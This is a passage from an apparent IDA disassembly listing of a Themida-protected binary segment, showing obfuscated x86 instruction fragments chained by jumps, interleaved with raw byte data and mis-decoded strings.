		dd 8B545524h, 0C481242Ch, 4, 8A8EE952h,	76BE0000h, 8111F361h
		dd 0C631AAF6h, 28C6817Fh, 191CAAFh, 0BD7BE9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566B26:				; CODE XREF: Themida_:00574711j
		push	ecx
		jmp	loc_560EB8
; ---------------------------------------------------------------------------


loc_566B2C:				; CODE XREF: Themida_:00561430j
		push	esi
		mov	esi, 5E17401Dh
		jmp	loc_571482
; ---------------------------------------------------------------------------
		db 55h
		dd 7EABBA52h, 0D5897299h, 0E9E8095Ah, 0FFFFC025h, 0E9240489h
		dd 522h, 0CE30F130h, 0C9FEF130h, 30F1B252h, 0CA205AD1h
		dd 686659h, 24048000h, 241428F9h, 0D49BE9h
		db 0
; ---------------------------------------------------------------------------


loc_566B71:				; CODE XREF: Themida_:005679C1j
		mov	[esp], edi
		jmp	loc_56E916
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 4B9240Ch,	81000000h, 8504246Ch, 0E96D251Ah
		dd 8353h, 0E958C189h, 17F1h, 5C24048Fh,	0AF35E9h
		db 0
; ---------------------------------------------------------------------------


loc_566BA5:				; CODE XREF: Themida_:0056F703j
		push	ecx
		mov	ecx, 411A527Ch
		jmp	loc_56B4E5
; ---------------------------------------------------------------------------
		dd 4B850h, 0C7010000h, 4C78358h, 3B0268h, 243C8900h, 42474FFh
		dd 0FFFBA1E9h, 4C481FFh, 0E9000000h, 0FFFF9AB5h
; ---------------------------------------------------------------------------


loc_566BD8:				; CODE XREF: Themida_:00571265j
		sub	edx, 38290EA0h
		add	edx, edi
		add	edx, 38290EA0h
		xor	[edx], ecx
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_568F03
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 0B872E952h, 0C4810000h, 4, 1DDE9h, 51FA0100h, 0FFACE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566C11:				; CODE XREF: Themida_:0056900Bj
		add	esp, 4
		add	bl, 4Ah
		jmp	loc_572A65
; ---------------------------------------------------------------------------
		dd 4240481h, 8B000000h,	0C4812434h, 4, 4EC81h, 0C890000h
		dd 95F8E924h, 0D6B1FFFFh, 8812F180h, 240C8BC8h,	4C481h
		dd 0C1280000h, 59CA8858h, 80C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_566C55:				; CODE XREF: Themida_:005725D1j
		add	esp, 4
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_564D26
; ---------------------------------------------------------------------------


loc_566C6B:				; CODE XREF: Themida_:0056C897j
		pop	ecx
		shl	edx, 4
		or	edx, 6F1E5F53h
		push	55F7h
		mov	[esp], ecx
		push	ebp
		jmp	loc_5658B0
; ---------------------------------------------------------------------------
		db 53h
		dd 0AF1D22BBh, 0A0F3812Eh, 813A0701h, 7E5893CBh, 0C3C38162h
		dd 299F7BCFh, 26E3E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566CA2:				; CODE XREF: Themida_:00566CFDj
		push	41A7h
		jmp	loc_56F790
; ---------------------------------------------------------------------------
		dd 4245C01h, 0FFC4E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566CB5:				; CODE XREF: Themida_:0056B1D7j
		add	esi, 4
		push	ebp
		push	56B5h
		mov	[esp], ecx
		jmp	loc_56AD2E
; ---------------------------------------------------------------------------


loc_566CC9:				; CODE XREF: Themida_:0056974Bj
		push	17D1h
		mov	[esp], ebx
		jmp	loc_56D7C5
; ---------------------------------------------------------------------------
		dw 5052h
		dd 14131D68h, 1D43E972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566CE2:				; CODE XREF: Themida_:00574F06j
		add	ebx, 4
		jmp	loc_560457
; ---------------------------------------------------------------------------


loc_566CED:				; CODE XREF: Themida_:005668EFj
		push	2409h
		mov	[esp], edx
		mov	edx, 67A42300h
		add	ebx, edx
		pop	edx
		jmp	loc_566CA2
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 67F5E9CFh,	0EA810000h, 6C3E1462h, 5AE9D189h
		dd 10000AFh, 6522E9C2h,	2C8B0000h, 52FEE924h, 8B660000h
		dd 0E9532404h, 60FFh
; ---------------------------------------------------------------------------


loc_566D34:				; CODE XREF: Themida_:00563F83j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_569C42
; ---------------------------------------------------------------------------
		dw 0CC68h
		dd 0E9000031h, 3732h, 0EB81DBF7h, 20804204h, 815BDA01h
		dd 19BB1DEAh, 0E9D789B5h, 0A774h, 51E9CB01h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566D73:				; CODE XREF: Themida_:0056D00Dj
		add	edi, 404A0B2Ah
		jmp	loc_5612AD
; ---------------------------------------------------------------------------


loc_566D7E:				; CODE XREF: Themida_:005746F7j
		push	dword ptr [edi+24h]
		push	5FF8h
		mov	[esp], ebp
		push	edi
		push	ebp
		push	5FA2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56AE6B
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 124248Bh, 2434FFF3h
		dd 4C4815Eh, 83000000h,	0E2E902C3h, 53000097h, 6B61E9h
		dd 242C8B00h, 4C481h, 79E90000h, 0BB0000B2h, 28E3DD30h
		dd 9EC1E953h, 3F040000h, 8091B151h, 0F1802AE9h,	0B75366F6h
		dd 66F930B2h, 9D61E95Bh, 0EC830000h, 5E7CE904h,	3C330000h
		dd 243C3124h, 5C243C33h, 9C240CD2h, 0FF9186E9h,	8DE958FFh
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_566E1F:				; CODE XREF: Themida_:00561A2Ej
		mov	al, 59h
		xor	al, dl
		jmp	loc_571CF1
; ---------------------------------------------------------------------------
		dd 7C1F3EBDh, 9D95E928h, 0C188FFFFh, 53D70458h,	0C380ACB3h
		dd 5BD800F9h, 0C828A52Ch, 0A52CA504h, 0C8BD72Ch, 0E0895024h
		dd 405h, 40500h, 4870000h, 24248B24h, 0FFA66CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566E65:				; CODE XREF: Themida_:005660BCj
		pop	esp
		shl	edx, 7
		push	ecx
		jmp	loc_573801
; ---------------------------------------------------------------------------
		db 0BBh
		dd 71DB0137h, 1C8BDF29h, 0E9545724h, 0FFFF9EDBh, 55E468h
		dd 0BA20E900h, 0EB810000h, 164A25C9h, 958C381h,	0D801CCEAh
		dd 81241C8Bh, 4C4h, 433D6800h, 1C890000h, 3AA2BB24h, 0BF5704D4h
		dd 590642AEh, 51E9FB21h, 56000038h, 4BEh, 5EF02900h, 99F8E9h
		dd 72DF2D00h, 0BE565B4Eh, 105D1C48h, 726EA705h,	2DF02958h
		dd 58726EA7h, 0CAC2D5Eh, 432D4A12h, 0E915D921h,	0FFFFADE4h
		dd 0E9241C87h, 0DE8Ah
; ---------------------------------------------------------------------------


loc_566EF8:				; CODE XREF: Themida_:005737D0j
		pop	eax
		jmp	loc_565616
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8D35E9h
		db 0
; ---------------------------------------------------------------------------


loc_566F09:				; CODE XREF: Themida_:00560039j
		pop	edi
		jmp	loc_56C295
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E5C106EDh, 81D5F708h, 792C9DE5h, 0A8F58108h, 0E932E204h
		dd 0D9C5h, 8324148Bh, 0C68104C4h, 64EF2F4Dh, 5B2434FFh
		dd 5E08950h, 4,	405h, 0ACD4E900h, 0C5810000h, 28AF4588h
		dd 0DDA5E9h, 4EC8100h, 89000000h, 4832424h, 0CE90424h
		dd 5600002Dh, 4F7A32BEh, 5EF3894Dh, 7836EB81h, 0D929493Eh
		dd 0FF946EE9h, 240433FFh, 8F24248Bh, 248B2404h,	0A3EEE924h
		dd 8951FFFFh, 0D54BE9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566F96:				; CODE XREF: Themida_:00565F27j
		sub	ecx, eax
		jmp	loc_56F893
; ---------------------------------------------------------------------------
		db 0F3h, 0A5h, 3
aB8hhu		db 'b8hhU',0
		dw 8900h
		dd 5268241Ch, 8B3C0E42h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_566823
; ---------------------------------------------------------------------------
		dw 8359h
		dd 0D6F7FFC6h, 1B951h, 8CE90000h, 810000C7h, 4C7h, 0B9515200h
		dd 1313340Fh, 0FFC2B2E9h, 24048FFFh, 8924248Bh,	0BE56240Ch
		dd 7559571Dh, 0E903E6C1h, 0FFFFB784h, 8B241C87h, 0E9E92424h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56700B:				; CODE XREF: Themida_:00571BC1j
		mov	ecx, 7B22424Dh
		not	ecx
		neg	ecx
		jmp	loc_561773
; ---------------------------------------------------------------------------


loc_567019:				; CODE XREF: Themida_:00574CF5j
		xor	esi, 762E00FEh
		xor	edi, esi
		jmp	loc_564EC6
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 37F553EEh, 5EA8F781h, 0D9E954EAh, 2D0000E0h,	4BDF5B20h
		dd 2005F001h, 5E4BDF5Bh, 97EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_567049:				; CODE XREF: Themida_:005736F5j
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		jmp	loc_562D29
; ---------------------------------------------------------------------------


loc_567057:				; CODE XREF: Themida_:0056554Fj
		pop	esi
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57412F
; ---------------------------------------------------------------------------
aRithux		db 'R‰âhUX',0
		dd 2FFEE900h, 2C810000h, 2F4F0324h, 53685A1Dh, 89000069h
		dd 4768242Ch, 89000038h, 69682434h, 8B26923Ch, 0C4832434h
		dd 6ABD5504h, 0E93BBD73h, 607Ch, 4D437205h, 242C8B4Fh
		dd 4C481h, 4050000h, 0E9000000h, 0BD37h
; ---------------------------------------------------------------------------


loc_5670B8:				; CODE XREF: Themida_:00569E57j
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		pop	ecx
		sub	ecx, 0FFFFFFFFh
		xor	[edi+24h], ecx
		jmp	loc_571C0A
; ---------------------------------------------------------------------------


loc_5670CD:				; CODE XREF: Themida_:00565CF9j
		push	dword ptr [esp]
		pop	edx
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	ebp
		mov	ebp, 1B141451h
		and	ebp, 182D3CF4h
		jmp	loc_56CCDB
; ---------------------------------------------------------------------------


loc_5670EE:				; CODE XREF: Themida_:0056B6E8j
		xor	edi, esi
		mov	esi, [esp]
		jmp	loc_56DAF0
; ---------------------------------------------------------------------------
		dd 55240489h, 242C8B58h, 0BC03E9h, 4C48300h, 4C281h, 0EA810000h
		dd 4, 0E9241487h, 5C66h, 5024248Bh, 2F536857h, 815F331Ah
		dd 3A2AACCFh, 42C2687Dh, 34890000h, 0AAC2E924h,	1F68FFFFh
		dd 8900007Bh, 38E9242Ch
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_567147:				; CODE XREF: Themida_:0057413Dj
		and	eax, esi
		mov	esi, [esp]
		push	eax
		jmp	loc_563888
; ---------------------------------------------------------------------------


loc_567152:				; CODE XREF: Themida_:0056FB5Bj
		sub	edi, 5BBF0CCCh
		sub	edi, 43005ECFh
		pop	ebp
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56C7EB
; ---------------------------------------------------------------------------


loc_567173:				; CODE XREF: Themida_:005722B6j
		mov	ecx, 796617CCh
		or	eax, ecx
		pop	ecx
		neg	eax
		or	eax, 71A264E5h
		sub	eax, 35E46C72h
		xor	eax, 0D15246F9h
		and	esi, eax
		pop	eax
		shl	esi, 2
		sub	esi, 0F6BBF53Dh
		jmp	loc_56554D
; ---------------------------------------------------------------------------
		db 0B8h, 2, 0
		dd 0C1010000h, 8324048Bh, 0C3304C4h, 0E781E924h, 20BBFFFFh
		dd 0E90EA82Fh, 0FFFFBA63h, 0B9240C89h, 40144F2Ch, 554BBF57h
		dd 0E9570A95h, 27CCh, 6307ED81h, 1E93534h, 5B000020h, 0FFFBECE9h
		db 0FFh
byte_5671E1	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055FE90o
		dd 4EC8324h, 68243C89h,	7914h, 0E9242489h, 0FFFFB326h
		dd 0B5E9E789h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5671FF:				; CODE XREF: Themida_:0056EF54j
		mov	cl, ah
		mov	eax, [esp]
		jmp	loc_56BB08
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 68h
		dd 0ECAh, 53242C89h, 650175BBh,	73F3810Fh, 5210963Dh, 0F5094BAh
		dd 81424248h, 92F4A6C2h, 0E9D33108h, 901Ch
; ---------------------------------------------------------------------------


loc_567234:				; CODE XREF: Themida_:005747F5j
		shr	ecx, 6
		push	eax
		mov	eax, 71C90975h
		and	eax, 32D541A4h
		sub	eax, 4CE449Ch
		jmp	loc_572287
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0E95504C4h, 128Bh, 271D68h, 242C8900h, 468h
		dd 722D5D00h, 14F4D43h,	0FE2EE9E8h, 3489FFFFh, 0E9E68924h
		dd 0FFFFF31Ah, 0E9242C87h, 0FFFFD13Bh
; ---------------------------------------------------------------------------


loc_567284:				; CODE XREF: Themida_:0056E993j
		pop	edx
		pop	edx
		push	edi
		mov	edi, 0DA27F7Eh
		sub	edx, edi
		pop	edi
		jmp	loc_560F8D
; ---------------------------------------------------------------------------


loc_567294:				; CODE XREF: Themida_:005617DBj
		and	eax, edx
		pop	edx
		or	edx, eax
		jmp	loc_563231
; ---------------------------------------------------------------------------
aI4Se4		db '‰4$éE4',0
		align 2
		dw 0E958h
		dd 160Dh, 4C481h, 43E90000h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5672B7:				; CODE XREF: Themida_:005601E1j
		add	esp, 4
		sub	edi, esi
		jmp	loc_5654BE
; ---------------------------------------------------------------------------
aISB		db '‰Ø[é(b',0
		dd 0EC835D00h, 24348904h, 3B9438BEh, 5EF53117h,	3F9B68h
		dd 241C8900h, 0FFAEABE9h, 0E9F766FFh, 4EC81h, 1C890000h
		dd 81E38924h, 4C3h, 4BE5600h, 0E9000000h, 2EE3h, 265C09BBh
		dd 0E9D9011Fh, 0D9F6h
; ---------------------------------------------------------------------------


loc_567310:				; CODE XREF: Themida_:00568AF3j
		push	ecx
		mov	ecx, esp
		jmp	loc_568F21
; ---------------------------------------------------------------------------
aSS_3		db '[éÑá',0
		align 2


loc_56731E:				; CODE XREF: Themida_:0056EE5Aj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edi
		jmp	loc_568E2D
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 7C40BE56h, 0C68170BBh, 8F4483C4h, 348BF301h
		dd 4C48124h, 56000000h,	4BD55h,	0EE890000h, 0E9F3015Dh
		dd 0FFFF9E84h, 0C280EA28h, 0D12059F6h, 86F1865Ah, 86D5F6EEh
		dd 0F7E2E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56736E:				; CODE XREF: Themida_:0056C224j
		add	esi, edx
		add	esi, 3DBF2D46h
		jmp	loc_5623BB
; ---------------------------------------------------------------------------


loc_56737B:				; CODE XREF: Themida_:005694E5j
		mov	eax, [esp]
		add	esp, 4
		pop	small word ptr [eax]
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------


loc_56738C:				; CODE XREF: Themida_:00560520j
		mov	cl, 28h
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0C7h
		sub	dl, 6Dh
		jmp	loc_562FBB
; ---------------------------------------------------------------------------


loc_56739E:				; CODE XREF: Themida_:0056F84Cj
		push	382Bh
		mov	[esp], ecx
		jmp	loc_570971
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0A7E904E0h, 80000006h, 5166BAC7h, 0D5F6FD88h, 10E9EF88h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5673C3:				; CODE XREF: Themida_:00575021j
		push	ebx
		jmp	loc_56669E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56CB4C
; ---------------------------------------------------------------------------
		db 68h,	40h, 25h
		dd 14890000h, 0CEB95124h, 816FF40Ch, 0C56A98E1h, 7E9C106h
		dd 37E9D9F7h, 35000067h, 0DA4EE496h, 81585D50h,	9424EFEEh
		dd 65C6813Bh, 2966CE33h, 65EE81EEh, 5266CE33h, 9424EFBAh
		dd 5AD6013Bh, 9D78E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567426:				; CODE XREF: Themida_:0057072Dj
		add	esp, 4
		mov	eax, [esp]
		push	edx
		jmp	loc_56D9FC
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0ADh
		dd 29105D57h, 45F1E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567442:				; CODE XREF: Themida_:0056BFB9j
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, 10ED59D9h
		or	esi, 29932AAh
		shl	esi, 3
		jmp	loc_572DA4
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0E0895024h, 405h, 4BA5200h, 1000000h, 0FF505AD0h, 58042474h
		dd 0E924048Fh, 0CA31h, 592434FFh
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5657E4
; ---------------------------------------------------------------------------
word_56749A	dw 8B66h		; DATA XREF: Themida_:0055FED4o
		dd 0EC812404h, 4, 89240489h, 8EE957E0h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5674AF:				; CODE XREF: Themida_:00567CBFj
		mov	[esp], ebx
		add	dword ptr [esp], 5DB21066h
		pop	ebp
		sub	ebp, 5DB21066h
		push	ebp
		xor	dword ptr [esp], 47252180h
		jmp	loc_571C39
; ---------------------------------------------------------------------------


loc_5674CD:				; CODE XREF: Themida_:0056514Aj
		mov	[esp], esi
		push	ebx
		jmp	loc_56B2FA
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 30C9932Ch, 495AD189h, 636DE981h, 0F18170B1h,	0C07C29F7h
		dd 7286E9h, 4E95B00h, 0B5000094h, 585DE96Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5674FE:				; CODE XREF: Themida_:00561D7Aj
		mov	[esp], ebx
		push	ecx
		push	ebx
		mov	ebx, 30164DF5h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_56F0B9
; ---------------------------------------------------------------------------


loc_567510:				; CODE XREF: Themida_:0056F4D9j
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_56B0C6
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 24248B24h,	0FF243C89h
		dd 0FF042474h, 815F2434h, 4C4h,	24048F00h, 0E924248Bh
		dd 1D24h
; ---------------------------------------------------------------------------


loc_56754C:				; CODE XREF: Themida_:0056B2D5j
		mov	cl, 76h
		jmp	loc_574E4D
; ---------------------------------------------------------------------------
		db 5Eh
		dd 42Dh, 24048700h, 8924248Bh, 0FF54240Ch, 0C8B2434h, 0E6895624h
		dd 4C681h, 3FE90000h, 89000055h, 0B8BA2414h, 0E90E5C0Eh
		dd 0FFFFAE63h
; ---------------------------------------------------------------------------


loc_567584:				; CODE XREF: Themida_:0056C8FDj
		pop	ecx
		not	esi
		inc	esi
		add	esi, 36AD43A8h
		add	ecx, esi
		pop	esi
		push	esi
		push	ebx
		jmp	loc_563238
; ---------------------------------------------------------------------------
		dd 835DEB01h, 1C8904ECh, 2474FF24h, 48F5B04h, 7685C24h
		dd 89000043h, 6851243Ch, 11086C2Fh, 83240C8Bh, 348904ECh
		dd 0CB31E924h, 5752FFFFh, 0AA7B7F68h, 0C7815F42h, 2F087DC3h
		dd 8147D7F7h, 0AB5905F7h, 0CA96E987h, 158FFFFh,	8B04245Ch
		dd 37E9241Ch
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5675EF:				; CODE XREF: Themida_:005734B4j
		add	esp, 4
		push	edx
		jmp	loc_56DE58
; ---------------------------------------------------------------------------
		db 68h
		dd 6E3802A3h, 0BB534858h, 124C21FCh, 130DE9h, 24BA5200h
		dd 561E3D69h, 6F8BE9h, 23ECBD00h, 814D0E71h, 0FE43ABE5h
		dd 8EFBE97Eh, 565AFFFFh, 468h, 0B57AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567636:				; CODE XREF: Themida_:005734F6j
		shl	ebp, 2
		push	edx
		mov	edx, 5430DECh
		sub	ebp, edx
		jmp	loc_5691AB
; ---------------------------------------------------------------------------
		dw 39BFh
		dd 8140DF3Dh, 0C97F5BCFh, 5E7C150h, 0E7C1EFD1h,	0EF0DE906h
		dd 4BAFFFFh, 5000000h, 1C1834E6h, 0E62DD001h, 5A1C1834h
		dd 5C240487h, 5E1268h, 24048900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56A00F
; ---------------------------------------------------------------------------


loc_56768A:				; CODE XREF: Themida_:0057066Bj
		pop	esi
		sub	ebx, eax
		jmp	loc_569099
; ---------------------------------------------------------------------------


loc_567692:				; CODE XREF: Themida_:005750FEj
		add	ebp, edi
		sub	ebp, 276D3581h
		pop	edi
		mov	ecx, ebp
		pop	ebp
		sub	eax, ecx
		jmp	loc_5704CA
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FF9F6BE9h, 0E9FA01FFh, 4F3h, 8E2045B9h, 8FEA8172h
		dd 29342D23h, 8FC281CAh, 0FF342D23h, 83592434h,	0C28104C4h
		dd 0CF9E9B08h, 2BEAE9h,	5DEF8900h, 9B3FE957h, 68580000h
		dd 3DE9h, 52243C89h, 0F679DD68h, 0DAF75A78h, 1D0EC281h
		dd 91E9571Ch, 83FFFFDBh, 0B65202C4h, 1C680F8h, 0E99EEE80h
		dd 1C8Ah, 8104C483h, 8C042444h,	5A6A9970h, 0E924048Bh
		dd 8539h
; ---------------------------------------------------------------------------


loc_567724:				; CODE XREF: Themida_:00560A04j
		sub	esi, 5E357C1Eh
		sub	esp, 4
		mov	[esp], edx
		push	esi
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_573FEC
; ---------------------------------------------------------------------------
		align 10h
		dd 0CEC6E9E8h, 2C8BFFFFh, 4C48324h, 4EC8153h, 0E9000000h
		dd 0FFFFF276h, 4C281h, 52560000h, 506F58BAh, 65EAE936h
		dd 0C890000h, 56E18924h, 5807E3BEh, 5E6C119h, 6928E9h
		db 0
; ---------------------------------------------------------------------------


loc_56777D:				; CODE XREF: Themida_:00562B92j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5700E2
; ---------------------------------------------------------------------------
		dw 0D131h
		dd 8BC8295Ah, 0C481240Ch, 4, 7E03822Dh,	5F02943h, 437E0382h
		dd 0DBBBE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5677A6:				; CODE XREF: Themida_:0056D642j
		pop	edi
		jmp	loc_56229B
; ---------------------------------------------------------------------------
		dd 6FEBA52h, 0F1E95689h, 0C1FFFFBCh, 0E95005E3h, 0BDE0h
		dd 5F5FF801h, 537A5C2Dh, 2FA36824h, 2C890000h, 48E7BD24h
		dd 0E5811DFCh, 25A56EE6h, 7992C581h, 0FBE90BEDh, 8300000Dh
		dd 0F00004C4h, 24148B66h, 2C481h, 0EC810000h, 4, 0B1240C89h
		dd 8AB5E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567806:				; CODE XREF: Themida_:0056DC10j
		add	esi, 3FBA17CAh
		push	eax
		jmp	loc_5722B0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0C7CF8104h, 8135323Fh, 737FCBF7h, 14C38135h,	16BE700h
		dd 5832E9FBh, 0D3F70000h, 0E9D3F743h, 0FFFFB476h
; ---------------------------------------------------------------------------


loc_567838:				; CODE XREF: Themida_:00572664j
		not	dh
		and	dh, 0AAh
		sub	dh, 0FAh
		sub	ch, dh
		pop	edx
		pop	eax
		push	dx
		jmp	loc_572BB8
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704C3h, 97E9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_567856:				; CODE XREF: Themida_:00564AAEj
		xor	esi, edx
		pop	edx
		jmp	loc_567B75
; ---------------------------------------------------------------------------
aZSeo		db '‡<$é¥O',0
		align 2
word_567866	dw 34FFh		; DATA XREF: Themida_:0055FE9Co
aXs		db '$X鳚',0
		db 0
; ---------------------------------------------------------------------------


loc_56786F:				; CODE XREF: Themida_:005622AAj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56F156
; ---------------------------------------------------------------------------
		dw 9166h
		dd 55669366h, 3226866h,	85D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_56788D:				; CODE XREF: Themida_:005656BEj
		mov	ebp, 2B3777Ah
		or	esi, ebp
		jmp	loc_560F4A
; ---------------------------------------------------------------------------
		db 81h,	2 dup(0C3h)
		dd 0E959517Fh, 0AEFBh, 0BA52515Dh, 4, 15AD189h,	895059CDh
		dd 577E9E0h, 0B5B80000h, 93220833h, 0C193D3F7h,	40E907E0h
		dd 83FFFFC5h, 0C8904ECh, 8038B524h, 0D5F6FFC5h,	7968C5FEh
		dd 8900006Ch, 0EF88241Ch, 0F8885066h, 0CA68D0F6h, 0E9000069h
		dd 301Fh
; ---------------------------------------------------------------------------


loc_5678F4:				; CODE XREF: Themida_:005737E6j
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		push	esp
		pop	eax
		push	594Bh
		mov	[esp], edi
		jmp	loc_5713DE
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4BF5724h, 89000000h,	581EE9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56791A:				; CODE XREF: Themida_:00560CECj
		or	edx, ebp
		pop	ebp
		dec	edx
		inc	edx
		jmp	loc_56EBBE
; ---------------------------------------------------------------------------
		dd 3732E681h, 0B9512AAFh, 0F2664EBh, 349168h, 243C8900h
		dd 71FD6850h, 48586FD3h, 4750E635h, 5E0C12Ah, 8B67D635h
		dd 0DD87E9FAh, 4D4DFFFFh, 553AF581h, 0D055F30h,	2D2F911Ch
		dd 292A3717h, 431E68h, 241C8900h, 0EB796168h, 0D8295B78h
		dd 0AB9515Bh, 0C13EAA11h, 0C98103E1h, 68CF3252h, 16A7C181h
		dd 3BE91B44h
		db 0D2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56798F:				; CODE XREF: Themida_:0056AD96j
		push	edx
		jmp	loc_56177A
; ---------------------------------------------------------------------------


loc_567995:				; CODE XREF: Themida_:00570E53j
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_5746E1
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0E397C8Bh, 0BECA0F2Dh, 8BC2293Fh, 53E92404h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5679B3:				; CODE XREF: Themida_:0056ECAEj
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_566B71
; ---------------------------------------------------------------------------
		dw 1C89h
aRTAIsN		db '$R²’·À€Ç©éÎ',0
		align 2
		dw 0C481h
		dd 4, 0DC0C1E2Dh, 0E9D80157h, 81Eh
; ---------------------------------------------------------------------------


loc_5679E8:				; CODE XREF: Themida_:0057475Aj
		shr	edx, 4
		jmp	loc_561FF0
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF96BCh, 0E1E9C801h, 4B00003Bh, 0F2BA5243h
		dd 56718D10h, 33E95052h, 29FFFF8Dh, 0E9082454h,	6991h
; ---------------------------------------------------------------------------


loc_567A18:				; CODE XREF: Themida_:0056828Dj
		mov	[esp], edx
		mov	edx, 7F95C501h
		xor	ebx, edx
		jmp	loc_572023
; ---------------------------------------------------------------------------
		db 53h
		dd 68h,	8EE95B00h, 81FFFFC3h, 4C5h, 2C58300h, 31242C33h
		dd 2C33242Ch, 24248B24h, 0C8AF0F66h, 0E99C5166h, 0FFFF854Bh
; ---------------------------------------------------------------------------


loc_567A54:				; CODE XREF: Themida_:0056EC7Bj
		pop	eax
		jmp	loc_561B33
; ---------------------------------------------------------------------------
		dw 0F796h
		dd 0D0F796D6h, 0BA18235h, 0EC83555Dh, 24048904h, 81242C8Bh
		dd 4C4h, 8BEE8900h, 3FE9242Ch
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_567A7F:				; CODE XREF: Themida_:005729C5j
		dec	ebp
		add	ebp, 39277D7h
		jmp	loc_56A69D
; ---------------------------------------------------------------------------


loc_567A8B:				; CODE XREF: Themida_:0056AF3Aj
		pop	ebx
		xor	esi, 0CF6D5438h
		mov	ecx, esi
		pop	esi
		push	ebp
		push	4B5E6DD2h
		pop	ebp
		and	ebp, 56916F1Eh
		sub	ebp, 5684408Bh
		jmp	loc_573CAF
; ---------------------------------------------------------------------------


loc_567AAD:				; CODE XREF: Themida_:00566AD0j
		sub	al, 37h
		sub	al, 0D8h
		push	ecx
		mov	ch, 95h
		jmp	loc_56E513
; ---------------------------------------------------------------------------
		db 52h,	68h, 0CFh
